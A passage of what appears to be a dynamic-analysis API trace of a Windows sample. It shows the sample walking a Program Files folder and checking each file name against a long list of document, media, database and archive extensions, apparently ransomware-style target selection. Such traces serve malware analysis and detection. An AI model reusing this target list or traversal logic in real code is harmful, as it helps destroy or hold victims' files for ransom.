(lpString1=".r3d", lpString2=".xml") returned -1 [0090.777] lstrlenW (lpString=".raf") returned 4 [0090.777] lstrcmpiW (lpString1=".raf", lpString2=".xml") returned -1 [0090.777] lstrlenW (lpString=".rar") returned 4 [0090.777] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0090.777] lstrlenW (lpString=".raw") returned 4 [0090.777] lstrcmpiW (lpString1=".raw", lpString2=".xml") returned -1 [0090.777] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa063932e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="keypad", cAlternateFileName="")) returned 1 [0090.777] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4293e80 [0090.777] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa063932e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260590 [0090.778] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa063932e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.778] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0090.778] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x387, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0090.778] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0090.778] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0 [0090.778] FindClose (in: hFindFile=0x4260590 | out: hFindFile=0x4260590) returned 1 [0090.779] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0090.779] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0090.779] lstrlenW (lpString="keypad.xml") returned 10 [0090.779] lstrlenW (lpString=".1cd") returned 4 [0090.779] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0090.779] lstrlenW (lpString=".3ds") returned 4 [0090.779] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0090.779] lstrlenW (lpString=".3fr") returned 4 [0090.779] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0090.779] lstrlenW (lpString=".3g2") returned 4 [0090.779] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0090.779] lstrlenW (lpString=".3gp") returned 4 [0090.779] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0090.779] lstrlenW (lpString=".7z") returned 3 [0090.779] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0090.779] lstrlenW (lpString=".accda") returned 6 [0090.779] lstrcmpiW (lpString1=".accda", lpString2="ad.xml") returned -1 [0090.779] lstrlenW (lpString=".accdb") returned 6 [0090.779] lstrcmpiW (lpString1=".accdb", lpString2="ad.xml") returned -1 [0090.779] lstrlenW (lpString=".accdc") returned 6 [0090.780] lstrcmpiW (lpString1=".accdc", lpString2="ad.xml") returned -1 [0090.780] lstrlenW (lpString=".accde") returned 6 [0090.780] lstrcmpiW (lpString1=".accde", lpString2="ad.xml") returned -1 [0090.780] lstrlenW (lpString=".accdt") returned 6 [0090.780] lstrcmpiW (lpString1=".accdt", lpString2="ad.xml") returned -1 [0090.780] lstrlenW (lpString=".accdw") returned 6 [0090.780] lstrcmpiW (lpString1=".accdw", lpString2="ad.xml") returned -1 [0090.780] lstrlenW (lpString=".adb") returned 4 [0090.780] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0090.780] lstrlenW (lpString=".adp") returned 4 [0090.780] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0090.780] lstrlenW (lpString=".ai") returned 3 [0090.780] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0090.780] lstrlenW (lpString=".ai3") returned 4 [0090.780] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0090.780] lstrlenW (lpString=".ai4") returned 4 [0090.780] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0090.780] lstrlenW (lpString=".ai5") returned 4 [0090.780] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0090.780] lstrlenW (lpString=".ai6") returned 4 [0090.780] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0090.780] lstrlenW (lpString=".ai7") returned 4 [0090.780] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0090.780] lstrlenW (lpString=".ai8") returned 4 [0090.781] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0090.781] lstrlenW (lpString=".anim") returned 5 [0090.781] lstrcmpiW (lpString1=".anim", lpString2="d.xml") returned -1 [0090.781] lstrlenW (lpString=".arw") returned 4 [0090.781] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0090.781] lstrlenW (lpString=".as") returned 3 [0090.781] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0090.781] lstrlenW (lpString=".asa") returned 4 [0090.781] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0090.781] lstrlenW (lpString=".asc") returned 4 [0090.781] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0090.781] lstrlenW (lpString=".ascx") returned 5 [0090.781] lstrcmpiW (lpString1=".ascx", lpString2="d.xml") returned -1 [0090.781] lstrlenW (lpString=".asm") returned 4 [0090.781] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0090.781] lstrlenW (lpString=".asmx") returned 5 [0090.781] lstrcmpiW (lpString1=".asmx", lpString2="d.xml") returned -1 [0090.781] lstrlenW (lpString=".asp") returned 4 [0090.781] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0090.781] lstrlenW (lpString=".aspx") returned 5 [0090.781] lstrcmpiW (lpString1=".aspx", lpString2="d.xml") returned -1 [0090.781] lstrlenW (lpString=".asr") returned 4 [0090.782] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0090.782] lstrlenW (lpString=".asx") returned 4 [0090.782] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0090.782] lstrlenW (lpString=".avi") returned 4 [0090.782] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0090.782] lstrlenW (lpString=".avs") returned 4 [0090.782] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0090.782] lstrlenW (lpString=".backup") returned 7 [0090.782] lstrcmpiW (lpString1=".backup", lpString2="pad.xml") returned -1 [0090.782] lstrlenW (lpString=".bak") returned 4 [0090.782] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0090.782] lstrlenW (lpString=".bay") returned 4 [0090.782] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0090.782] lstrlenW (lpString=".bd") returned 3 [0090.782] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0090.782] lstrlenW (lpString=".bin") returned 4 [0090.782] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0090.782] lstrlenW (lpString=".bmp") returned 4 [0090.782] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0090.782] lstrlenW (lpString=".bz2") returned 4 [0090.782] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0090.782] lstrlenW (lpString=".c") returned 2 [0090.782] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0090.782] lstrlenW (lpString=".cdr") returned 4 [0090.783] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0090.783] lstrlenW (lpString=".cer") returned 4 [0090.783] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0090.783] lstrlenW (lpString=".cf") returned 3 [0090.783] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0090.783] lstrlenW (lpString=".cfc") returned 4 [0090.783] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0090.783] lstrlenW (lpString=".cfm") returned 4 [0090.783] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0090.783] lstrlenW (lpString=".cfml") returned 5 [0090.783] lstrcmpiW (lpString1=".cfml", lpString2="d.xml") returned -1 [0090.783] lstrlenW (lpString=".cfu") returned 4 [0090.783] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0090.783] lstrlenW (lpString=".chm") returned 4 [0090.783] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0090.783] lstrlenW (lpString=".cin") returned 4 [0090.783] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0090.783] lstrlenW (lpString=".class") returned 6 [0090.783] lstrcmpiW (lpString1=".class", lpString2="ad.xml") returned -1 [0090.783] lstrlenW (lpString=".clx") returned 4 [0090.783] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0090.783] lstrlenW (lpString=".config") returned 7 [0090.783] lstrcmpiW (lpString1=".config", lpString2="pad.xml") returned -1 [0090.784] lstrlenW (lpString=".cpp") returned 4 [0090.784] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0090.784] lstrlenW (lpString=".cr2") returned 4 [0090.784] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0090.784] lstrlenW (lpString=".crt") returned 4 [0090.784] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0090.784] lstrlenW (lpString=".crw") returned 4 [0090.784] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0090.784] lstrlenW (lpString=".cs") returned 3 [0090.784] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0090.784] lstrlenW (lpString=".css") returned 4 [0090.784] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0090.784] lstrlenW (lpString=".csv") returned 4 [0090.784] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0090.784] lstrlenW (lpString=".cub") returned 4 [0090.784] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0090.784] lstrlenW (lpString=".dae") returned 4 [0090.784] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0090.784] lstrlenW (lpString=".dat") returned 4 [0090.784] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0090.784] lstrlenW (lpString=".db") returned 3 [0090.784] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0090.784] lstrlenW (lpString=".dbf") returned 4 [0090.785] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0090.785] lstrlenW (lpString=".dbx") returned 4 [0090.785] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0090.785] lstrlenW (lpString=".dc3") returned 4 [0090.785] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0090.785] lstrlenW (lpString=".dcm") returned 4 [0090.785] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0090.785] lstrlenW (lpString=".dcr") returned 4 [0090.785] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0090.785] lstrlenW (lpString=".der") returned 4 [0090.785] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0090.785] lstrlenW (lpString=".dib") returned 4 [0090.785] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0090.785] lstrlenW (lpString=".dic") returned 4 [0090.785] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0090.785] lstrlenW (lpString=".dif") returned 4 [0090.785] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0090.785] lstrlenW (lpString=".divx") returned 5 [0090.785] lstrcmpiW (lpString1=".divx", lpString2="d.xml") returned -1 [0090.785] lstrlenW (lpString=".djvu") returned 5 [0090.785] lstrcmpiW (lpString1=".djvu", lpString2="d.xml") returned -1 [0090.786] lstrlenW (lpString=".dng") returned 4 [0090.786] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0090.786] lstrlenW (lpString=".doc") returned 4 [0090.786] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0090.786] lstrlenW (lpString=".docm") returned 5 [0090.786] lstrcmpiW (lpString1=".docm", lpString2="d.xml") returned -1 [0090.786] lstrlenW (lpString=".docx") returned 5 [0090.786] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0090.786] lstrlenW (lpString=".dot") returned 4 [0090.786] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0090.786] lstrlenW (lpString=".dotm") returned 5 [0090.786] lstrcmpiW (lpString1=".dotm", lpString2="d.xml") returned -1 [0090.786] lstrlenW (lpString=".dotx") returned 5 [0090.786] lstrcmpiW (lpString1=".dotx", lpString2="d.xml") returned -1 [0090.786] lstrlenW (lpString=".dpx") returned 4 [0090.786] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0090.786] lstrlenW (lpString=".dqy") returned 4 [0090.786] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0090.786] lstrlenW (lpString=".dsn") returned 4 [0090.786] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0090.786] lstrlenW (lpString=".dt") returned 3 [0090.787] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0090.787] lstrlenW (lpString=".dtd") returned 4 [0090.787] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0090.787] lstrlenW (lpString=".dwg") returned 4 [0090.787] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0090.787] lstrlenW (lpString=".dwt") returned 4 [0090.787] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0090.787] lstrlenW (lpString=".dx") returned 3 [0090.787] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0090.787] lstrlenW (lpString=".dxf") returned 4 [0090.787] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0090.787] lstrlenW (lpString=".edml") returned 5 [0090.787] lstrcmpiW (lpString1=".edml", lpString2="d.xml") returned -1 [0090.787] lstrlenW (lpString=".efd") returned 4 [0090.787] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0090.787] lstrlenW (lpString=".elf") returned 4 [0090.787] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0090.787] lstrlenW (lpString=".emf") returned 4 [0090.787] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0090.787] lstrlenW (lpString=".emz") returned 4 [0090.787] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0090.788] lstrlenW (lpString=".epf") returned 4 [0090.788] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0090.788] lstrlenW (lpString=".eps") returned 4 [0090.788] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0090.788] lstrlenW (lpString=".epsf") returned 5 [0090.788] lstrcmpiW (lpString1=".epsf", lpString2="d.xml") returned -1 [0090.788] lstrlenW (lpString=".epsp") returned 5 [0090.788] lstrcmpiW (lpString1=".epsp", lpString2="d.xml") returned -1 [0090.788] lstrlenW (lpString=".erf") returned 4 [0090.788] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0090.788] lstrlenW (lpString=".exr") returned 4 [0090.788] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0090.788] lstrlenW (lpString=".f4v") returned 4 [0090.788] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0090.788] lstrlenW (lpString=".fido") returned 5 [0090.788] lstrcmpiW (lpString1=".fido", lpString2="d.xml") returned -1 [0090.788] lstrlenW (lpString=".flm") returned 4 [0090.788] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0090.788] lstrlenW (lpString=".flv") returned 4 [0090.788] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0090.788] lstrlenW (lpString=".frm") returned 4 [0090.788] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0090.789] lstrlenW (lpString=".fxg") returned 4 [0090.789] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0090.789] lstrlenW (lpString=".geo") returned 4 [0090.789] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0090.789] lstrlenW (lpString=".gif") returned 4 [0090.789] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0090.789] lstrlenW (lpString=".grs") returned 4 [0090.789] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0091.350] lstrlenW (lpString=".gz") returned 3 [0091.350] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0091.351] lstrlenW (lpString=".h") returned 2 [0091.351] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0091.351] lstrlenW (lpString=".hdr") returned 4 [0091.351] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0091.351] lstrlenW (lpString=".hpp") returned 4 [0091.351] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0091.351] lstrlenW (lpString=".hta") returned 4 [0091.351] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0091.351] lstrlenW (lpString=".htc") returned 4 [0091.351] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0091.351] lstrlenW (lpString=".htm") returned 4 [0091.351] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0091.351] lstrlenW (lpString=".html") returned 5 [0091.351] lstrcmpiW (lpString1=".html", lpString2="d.xml") returned -1 [0091.351] lstrlenW (lpString=".icb") returned 4 [0091.351] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0091.351] lstrlenW (lpString=".ics") returned 4 [0091.351] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0091.351] lstrlenW (lpString=".iff") returned 4 [0091.351] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0091.351] lstrlenW (lpString=".inc") returned 4 [0091.351] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0091.351] lstrlenW (lpString=".indd") returned 5 [0091.351] lstrcmpiW (lpString1=".indd", lpString2="d.xml") returned -1 [0091.351] lstrlenW (lpString=".ini") returned 4 [0091.351] lstrcmpiW (lpString1=".ini", lpString2=".xml") returned -1 [0091.351] lstrlenW (lpString=".iqy") returned 4 [0091.351] lstrcmpiW (lpString1=".iqy", lpString2=".xml") returned -1 [0091.351] lstrlenW (lpString=".j2c") returned 4 [0091.351] lstrcmpiW (lpString1=".j2c", lpString2=".xml") returned -1 [0091.351] lstrlenW (lpString=".j2k") returned 4 [0091.351] lstrcmpiW (lpString1=".j2k", lpString2=".xml") returned -1 [0091.351] lstrlenW (lpString=".java") returned 5 [0091.352] lstrcmpiW (lpString1=".java", lpString2="d.xml") returned -1 [0091.352] lstrlenW (lpString=".jp2") returned 4 [0091.352] lstrcmpiW (lpString1=".jp2", lpString2=".xml") returned -1 [0091.352] lstrlenW (lpString=".jpc") returned 4 [0091.352] lstrcmpiW (lpString1=".jpc", lpString2=".xml") returned -1 [0091.352] lstrlenW (lpString=".jpe") returned 4 [0091.352] lstrcmpiW (lpString1=".jpe", lpString2=".xml") returned -1 [0091.352] lstrlenW (lpString=".jpeg") returned 5 [0091.352] lstrcmpiW (lpString1=".jpeg", lpString2="d.xml") returned -1 [0091.352] lstrlenW (lpString=".jpf") returned 4 [0091.352] lstrcmpiW (lpString1=".jpf", lpString2=".xml") returned -1 [0091.352] lstrlenW (lpString=".jpg") returned 4 [0091.352] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0091.352] lstrlenW (lpString=".jpx") returned 4 [0091.352] lstrcmpiW (lpString1=".jpx", lpString2=".xml") returned -1 [0091.352] lstrlenW (lpString=".js") returned 3 [0091.352] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1 [0091.352] lstrlenW (lpString=".jsf") returned 4 [0091.352] lstrcmpiW (lpString1=".jsf", lpString2=".xml") returned -1 [0091.352] lstrlenW (lpString=".json") returned 5 [0091.352] lstrcmpiW (lpString1=".json", lpString2="d.xml") returned -1 [0091.352] lstrlenW (lpString=".jsp") returned 4 [0091.352] lstrcmpiW (lpString1=".jsp", lpString2=".xml") returned -1 [0091.352] lstrlenW (lpString=".kdc") returned 4 [0091.352] lstrcmpiW (lpString1=".kdc", lpString2=".xml") returned -1 [0091.352] lstrlenW (lpString=".kmz") returned 4 [0091.352] lstrcmpiW (lpString1=".kmz", lpString2=".xml") returned -1 [0091.352] lstrlenW (lpString=".kwm") returned 4 [0091.352] lstrcmpiW (lpString1=".kwm", lpString2=".xml") returned -1 [0091.352] lstrlenW (lpString=".lasso") returned 6 [0091.353] lstrcmpiW (lpString1=".lasso", lpString2="ad.xml") returned -1 [0091.353] lstrlenW (lpString=".lbi") returned 4 [0091.353] lstrcmpiW (lpString1=".lbi", lpString2=".xml") returned -1 [0091.353] lstrlenW (lpString=".lgf") returned 4 [0091.353] lstrcmpiW (lpString1=".lgf", lpString2=".xml") returned -1 [0091.353] lstrlenW (lpString=".lgp") returned 4 [0091.353] lstrcmpiW (lpString1=".lgp", lpString2=".xml") returned -1 [0091.353] lstrlenW (lpString=".log") returned 4 [0091.353] lstrcmpiW (lpString1=".log", lpString2=".xml") returned -1 [0091.353] lstrlenW (lpString=".m1v") returned 4 [0091.353] lstrcmpiW (lpString1=".m1v", lpString2=".xml") returned -1 [0091.353] lstrlenW (lpString=".m4a") returned 4 [0091.353] lstrcmpiW (lpString1=".m4a", lpString2=".xml") returned -1 [0091.353] lstrlenW (lpString=".m4v") returned 4 [0091.353] lstrcmpiW (lpString1=".m4v", lpString2=".xml") returned -1 [0091.353] lstrlenW (lpString=".max") returned 4 [0091.353] lstrcmpiW (lpString1=".max", lpString2=".xml") returned -1 [0091.353] lstrlenW (lpString=".md") returned 3 [0091.353] lstrcmpiW (lpString1=".md", lpString2="xml") returned -1 [0091.353] lstrlenW (lpString=".mda") returned 4 [0091.353] lstrcmpiW (lpString1=".mda", lpString2=".xml") returned -1 [0091.353] lstrlenW (lpString=".mdb") returned 4 [0091.353] lstrcmpiW (lpString1=".mdb", lpString2=".xml") returned -1 [0091.353] lstrlenW (lpString=".mde") returned 4 [0091.353] lstrcmpiW (lpString1=".mde", lpString2=".xml") returned -1 [0091.353] lstrlenW (lpString=".mdf") returned 4 [0091.353] lstrcmpiW (lpString1=".mdf", lpString2=".xml") returned -1 [0091.353] lstrlenW (lpString=".mdw") returned 4 [0091.353] lstrcmpiW (lpString1=".mdw", lpString2=".xml") returned -1 [0091.354] lstrlenW (lpString=".mef") returned 4 [0091.354] lstrcmpiW (lpString1=".mef", lpString2=".xml") returned -1 [0091.354] lstrlenW (lpString=".mft") returned 4 [0091.354] lstrcmpiW (lpString1=".mft", lpString2=".xml") returned -1 [0091.354] lstrlenW (lpString=".mfw") returned 4 [0091.354] lstrcmpiW (lpString1=".mfw", lpString2=".xml") returned -1 [0091.354] lstrlenW (lpString=".mht") returned 4 [0091.354] lstrcmpiW (lpString1=".mht", lpString2=".xml") returned -1 [0091.354] lstrlenW (lpString=".mhtml") returned 6 [0091.354] lstrcmpiW (lpString1=".mhtml", lpString2="ad.xml") returned -1 [0091.354] lstrlenW (lpString=".mka") returned 4 [0091.354] lstrcmpiW (lpString1=".mka", lpString2=".xml") returned -1 [0091.354] lstrlenW (lpString=".mkidx") returned 6 [0091.354] lstrcmpiW (lpString1=".mkidx", lpString2="ad.xml") returned -1 [0091.354] lstrlenW (lpString=".mkv") returned 4 [0091.354] lstrcmpiW (lpString1=".mkv", lpString2=".xml") returned -1 [0091.354] lstrlenW (lpString=".mos") returned 4 [0091.354] lstrcmpiW (lpString1=".mos", lpString2=".xml") returned -1 [0091.354] lstrlenW (lpString=".mov") returned 4 [0091.354] lstrcmpiW (lpString1=".mov", lpString2=".xml") returned -1 [0091.354] lstrlenW (lpString=".mp3") returned 4 [0091.354] lstrcmpiW (lpString1=".mp3", lpString2=".xml") returned -1 [0091.354] lstrlenW (lpString=".mp4") returned 4 [0091.354] lstrcmpiW (lpString1=".mp4", lpString2=".xml") returned -1 [0091.354] lstrlenW (lpString=".mpeg") returned 5 [0091.354] lstrcmpiW (lpString1=".mpeg", lpString2="d.xml") returned -1 [0091.354] lstrlenW (lpString=".mpg") returned 4 [0091.354] lstrcmpiW (lpString1=".mpg", lpString2=".xml") returned -1 [0091.354] lstrlenW (lpString=".mpv") returned 4 [0091.354] lstrcmpiW (lpString1=".mpv", lpString2=".xml") returned -1 [0091.355] lstrlenW (lpString=".mrw") returned 4 [0091.355] lstrcmpiW (lpString1=".mrw", lpString2=".xml") returned -1 [0091.355] lstrlenW (lpString=".msg") returned 4 [0091.355] lstrcmpiW (lpString1=".msg", lpString2=".xml") returned -1 [0091.355] lstrlenW (lpString=".mxl") returned 4 [0091.355] lstrcmpiW (lpString1=".mxl", lpString2=".xml") returned -1 [0091.355] lstrlenW (lpString=".myd") returned 4 [0091.355] lstrcmpiW (lpString1=".myd", lpString2=".xml") returned -1 [0091.355] lstrlenW (lpString=".myi") returned 4 [0091.355] lstrcmpiW (lpString1=".myi", lpString2=".xml") returned -1 [0091.355] lstrlenW (lpString=".nef") returned 4 [0091.355] lstrcmpiW (lpString1=".nef", lpString2=".xml") returned -1 [0091.355] lstrlenW (lpString=".nrw") returned 4 [0091.355] lstrcmpiW (lpString1=".nrw", lpString2=".xml") returned -1 [0091.355] lstrlenW (lpString=".obj") returned 4 [0091.355] lstrcmpiW (lpString1=".obj", lpString2=".xml") returned -1 [0091.355] lstrlenW (lpString=".odb") returned 4 [0091.355] lstrcmpiW (lpString1=".odb", lpString2=".xml") returned -1 [0091.355] lstrlenW (lpString=".odc") returned 4 [0091.355] lstrcmpiW 